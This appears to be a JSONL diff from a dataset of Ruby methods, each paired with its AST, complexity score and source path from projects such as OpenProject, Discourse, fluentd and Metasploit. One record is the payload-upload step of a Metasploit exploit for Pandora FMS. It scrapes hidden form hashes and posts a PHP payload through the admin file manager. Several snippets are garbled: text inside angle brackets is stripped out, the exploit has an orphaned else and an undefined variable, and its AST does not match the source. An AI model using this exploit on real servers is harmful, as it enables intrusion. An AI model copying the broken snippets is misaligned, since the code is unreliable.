\",{\"type\":\"str\",\"children\":[\"mainPid\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"mainPid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]\",{\"type\":\"str\",\"children\":[\"mainPid\"]}]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"deleted\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]\",{\"type\":\"str\",\"children\":[\"deleted\"]}]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"pinned\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]\",{\"type\":\"str\",\"children\":[\"pinned\"]}]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"locked\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]\",{\"type\":\"str\",\"children\":[\"locked\"]}]},\"to_s\"]}]},{\"type\":\"lvar\",\"children\":[\"topic\"]}]}]}","id":"8fe92ce6-6466-4ea4-89e0-745af4348a0f"}
+{"repo_name":"openproject","file_path":"./repos/openproject/app/models/relation.rb","start_line":160,"raw_source":"def label_for(work_package)\n key = from_id == work_package.id ? :name : :sym_name\n\n TYPES[relation_type] ? TYPES[relation_type][key] : :unknown\n end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"label_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_package\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"from_id\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"id\"]}]},{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"sym_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TYPES\"]},\"[]\",{\"type\":\"send\",\"children\":[null,\"relation_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TYPES\"]},\"[]\",{\"type\":\"send\",\"children\":[null,\"relation_type\"]}]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"sym\",\"children\":[\"unknown\"]}]}]}]}","id":"7d9d1d35-f077-46f7-91aa-3a6e785e3302"}
+{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/argument_alignment.rb","start_line":115,"raw_source":"def fixed_indentation?\n cop_config['EnforcedStyle'] == 'with_fixed_indentation'\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"fixed_indentation?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cop_config\"]},\"[]\",{\"type\":\"str\",\"children\":[\"EnforcedStyle\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"with_fixed_indentation\"]}]}]}","id":"6d5b3260-036c-4b54-9d9d-f008ebde79df"}
+{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_provision_request_template.rb","start_line":33,"raw_source":"def execute\n # Should not be called.\n raise _(\"Provision Request Templates do not support the execute method.\")\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Provision Request Templates do not support the execute method.\"]}]}]}]}","id":"cf869629-8900-46ad-bd94-d1f39f805ca9"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/pandora_fms_sqli.rb","start_line":222,"raw_source":"def upload\n # Extract hash and hash2 from response\n res = send_request_cgi({\n 'method' => 'GET',\n 'cookie' => @cookie,\n 'uri' => normalize_uri(uri, 'index.php'),\n 'vars_get' => {\n 'sec' => 'gsetup',\n 'sec2' => 'godmode/setup/file_manager'\n }\n })\n\n if res && res.code == 200 && res.body =~ /(?<=input type=\"submit\" id=\"submit-go\")(.*)(?=)/\n hash = $1\n else\n print_error(\"Could not extract hash from response!\")\n fail_with(Failure::Unknown, \"#{peer} - Unable to inject payload!\")\n end\n\n # Extract hash2\n if form =~ /(?<=name=\"hash2\" type=\"hidden\" value=\")(.*?)(?=\" \\/>)/\n hash2 = $1\n else\n print_error(\"Could not extract hash2 from response!\")\n fail_with(Failure::Unknown, \"#{peer} - Unable to inject payload!\")\n end\n\n # Extract real_directory\n if form =~ /(?<=name=\"real_directory\" type=\"hidden\" value=\")(.*?)(\" \\/>)/\n real_directory = $1\n else\n print_error(\"Could not extract real_directory from response!\")\n fail_with(Failure::Unknown, \"#{peer} - Unable to inject payload!\")\n end\n else\n print_error(\"Could not identify upload form!\")\n fail_with(Failure::Unknown, \"#{peer} - Unable to inject payload!\")\n end\n\n # Upload script\n @payload_name = \"#{rand_text_alpha(8)}.php\"\n post_data = Rex::MIME::Message.new\n post_data.add_part(\"\", 'text/plain', nil, %Q^form-data; name=\"file\"; filename=\"#{@payload_name}\"^)\n post_data.add_part('', nil, nil, 'form-data; name=\"unmask\"')\n post_data.add_part('Go', nil, nil, 'form-data; name=\"go\"')\n post_data.add_part(real_directory, nil, nil, 'form-data; name=\"real_directory\"')\n post_data.add_part('images', nil, nil, 'form-data; name=\"directory\"')\n post_data.add_part(\"#{hash}\", nil, nil, 'form-data; name=\"hash\"')\n post_data.add_part(\"#{hash2}\", nil, nil, 'form-data; name=\"hash2\"')\n post_data.add_part('1', nil, nil, 'form-data; name=\"upload_file_or_zip\"')\n\n print_status(\"Attempting to upload payload #{@payload_name}...\")\n res = send_request_cgi({\n 'method' => 'POST',\n 'cookie' => @cookie,\n 'uri' => normalize_uri(uri, 'index.php'),\n 'ctype' => \"multipart/form-data; boundary=#{post_data.bound}\",\n 'data' => post_data.to_s,\n 'vars_get' => {\n 'sec' => 'gsetup',\n 'sec2' => 'godmode/setup/file_manager'\n }\n })\n\n if res && res.code == 200 && res.body.include?(\"Upload correct\")\n register_file_for_cleanup(@payload_name)\n print_good(\"Successfully uploaded payload\")\n else\n fail_with(Failure::Unknown, \"#{peer} - Unable to inject payload!\")\n end\n end","complexity_score":73.9,"ast_json":"{\"type\":\"def\",\"children\":[\"upload\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"ivar\",\"children\":[\"@cookie\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[null,\"uri\"]},{\"type\":\"str\",\"children\":[\"index.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"sec\"]},{\"type\":\"str\",\"children\":[\"gsetup\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"sec2\"]},{\"type\":\"str\",\"children\":[\"godmode/setup/file_manager\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(?<=input type=\\\"submit\\\" id=\\\"submit-go\\\")(.*)(?=)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hash\",{\"type\":\"nth_ref\",\"children\":[1]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Could not extract hash from response!\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Unable to inject payload!\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(?<=name=\\\"hash2\\\" type=\\\"hidden\\\" value=\\\")(.*?)(?=\\\" />)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hash2\",{\"type\":\"nth_ref\",\"children\":[1]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Could not extract hash2 from response!\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Unable to inject payload!\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(?<=name=\\\"real_directory\\\" type=\\\"hidden\\\" value=\\\")(.*?)(\\\" />)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"real_directory\",{\"type\":\"nth_ref\",\"children\":[1]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Could not extract real_directory from response!\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Unable to inject payload!\"]}]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Could not identify upload form!\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Unable to inject payload!\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@payload_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"str\",\"children\":[\".php\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"post_data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"MIME\"]},\"Message\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"add_part\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"str\",\"children\":[\"text/plain\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"form-data; name=\\\"file\\\"; filename=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@payload_name\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"add_part\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"unmask\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"add_part\",{\"type\":\"str\",\"children\":[\"Go\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"go\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"add_part\",{\"type\":\"lvar\",\"children\":[\"real_directory\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"real_directory\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"add_part\",{\"type\":\"str\",\"children\":[\"images\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"directory\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"add_part\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]}]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"hash\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"add_part\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash2\"]}]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"hash2\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"add_part\",{\"type\":\"str\",\"children\":[\"1\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"upload_file_or_zip\\\"\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Attempting to upload payload \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@payload_name\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"ivar\",\"children\":[\"@cookie\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[null,\"uri\"]},{\"type\":\"str\",\"children\":[\"index.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"multipart/form-data; boundary=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"bound\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"sec\"]},{\"type\":\"str\",\"children\":[\"gsetup\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"sec2\"]},{\"type\":\"str\",\"children\":[\"godmode/setup/file_manager\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"Upload correct\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"register_file_for_cleanup\",{\"type\":\"ivar\",\"children\":[\"@payload_name\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Successfully uploaded payload\"]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Unable to inject payload!\"]}]}]}]}]}]}","id":"2394e1df-1fb4-4d2e-811a-02b97c979ca9"}
+{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/in_udp.rb","start_line":55,"raw_source":"def configure(conf)\n compat_parameters_convert(conf, :parser)\n parser_config = conf.elements('parse').first\n unless parser_config\n raise Fluent::ConfigError, \" section is required.\"\n end\n super\n @_event_loop_blocking_timeout = @blocking_timeout\n @source_hostname_key ||= @source_host_key if @source_host_key\n @message_length_limit = @body_size_limit if @body_size_limit\n\n @parser = parser_create(conf: parser_config)\n end","complexity_score":13.5,"ast_json":"{\"type\":\"def\",\"children\":[\"configure\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conf\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"compat_parameters_convert\",{\"type\":\"lvar\",\"children\":[\"conf\"]},{\"type\":\"sym\",\"children\":[\"parser\"]}]},{\"type\":\"lvasgn\",\"children\":[\"parser_config\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"elements\",{\"type\":\"str\",\"children\":[\"parse\"]}]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parser_config\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"ConfigError\"]},{\"type\":\"str\",\"children\":[\" section is required.\"]}]}]},{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@_event_loop_blocking_timeout\",{\"type\":\"ivar\",\"children\":[\"@blocking_timeout\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@source_host_key\"]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@source_hostname_key\"]},{\"type\":\"ivar\",\"children\":[\"@source_host_key\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@body_size_limit\"]},{\"type\":\"ivasgn\",\"children\":[\"@message_length_limit\",{\"type\":\"ivar\",\"children\":[\"@body_size_limit\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@parser\",{\"type\":\"send\",\"children\":[null,\"parser_create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"conf\"]},{\"type\":\"lvar\",\"children\":[\"parser_config\"]}]}]}]}]}]}]}","id":"003fb226-6601-4e97-84be-32a895bf2671"}
+{"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/lib/open_project/bim/bcf_xml/issue_reader.rb","start_line":282,"raw_source":"def new_comment_handler(bcf_comment, call, created_at)\n if call.success?\n call.result.update_columns(created_at:)\n bcf_comment.journal = call.result\n else\n Rails.logger.error \"Failed to create comment for BCF #{issue.uuid}: #{call.errors.full_messages.join('; ')}\"\n end\n end","complexity_score":16.7,"ast_json":"{\"type\":\"def\",\"children\":[\"new_comment_handler\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"bcf_comment\"]},{\"type\":\"arg\",\"children\":[\"call\"]},{\"type\":\"arg\",\"children\":[\"created_at\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"success?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"result\"]},\"update_columns\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"lvar\",\"children\":[\"created_at\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bcf_comment\"]},\"journal=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"result\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to create comment for BCF \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issue\"]},\"uuid\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"errors\"]},\"full_messages\"]},\"join\",{\"type\":\"str\",\"children\":[\"; \"]}]}]}]}]}]}]}","id":"2de292ec-8dd2-44ec-88a5-64f7d5503b24"}
+{"repo_name":"sinatra","file_path":"./repos/sinatra/sinatra-contrib/lib/sinatra/webdav.rb","start_line":85,"raw_source":"def mkcol(path, opts = {}, &bk) route 'MKCOL', path, opts, &bk end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"mkcol\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"bk\"]}]},{\"type\":\"send\",\"children\":[null,\"route\",{\"type\":\"str\",\"children\":[\"MKCOL\"]},{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bk\"]}]}]}]}","id":"307211ec-c324-4f5b-a129-46d6b9476f5e"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/gitlab/without_reactive_cache.rb","start_line":12,"raw_source":"def on_send(node)\n add_offense(node.loc.selector)\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"on_send\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"selector\"]}]}]}","id":"b6acb72e-9805-4ec1-a957-b219ef4dbf5c"}
+{"repo_name":"openproject","file_path":"./repos/openproject/app/contracts/versions/base_contract.rb","start_line":98,"raw_source":"def validate_sharing_included\n if model.sharing_changed? && assignable_sharings.exclude?(model.sharing)\n errors.add :sharing, :inclusion\n end\n end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_sharing_included\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"sharing_changed?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assignable_sharings\"]},\"exclude?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"sharing\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"sharing\"]},{\"type\":\"sym\",\"children\":[\"inclusion\"]}]},null]}]}","id":"bdca2a0b-fecc-4e3e-88b2-1bd692b470bc"}
+{"repo_name":"discourse","file_path":"./repos/discourse/lib/oneboxer.rb","start_line":63,"raw_source":"def self.force_get_hosts\n hosts = []\n hosts += SiteSetting.force_get_hosts.split(\"|\").collect { |domain| \"https://#{domain}\" }\n hosts += amazon_domains\n\n hosts.uniq\n end","complexity_score":12.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"force_get_hosts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hosts\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hosts\"]},\"+\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"force_get_hosts\"]},\"split\",{\"type\":\"str\",\"children\":[\"|\"]}]},\"collect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"domain\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"https://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"domain\"]}]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hosts\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"amazon_domains\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hosts\"]},\"uniq\"]}]}]}","id":"682a7677-c8f5-4e81-8223-f1d6f3c363ce"}
+{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/smf2.rb","start_line":814,"raw_source":"def add_message(id, prev = nil, quoted = [])\n @nodes[id] = Node.new(self, id, prev, quoted)\n end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"add_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]},{\"type\":\"optarg\",\"children\":[\"prev\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"quoted\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@nodes\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Node\"]},\"new\",{\"type\":\"self\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"prev\"]},{\"type\":\"lvar\",\"children\":[\"quoted\"]}]}]}]}","id":"5b5415af-4bdf-4752-be05-fc4f848596cc"}
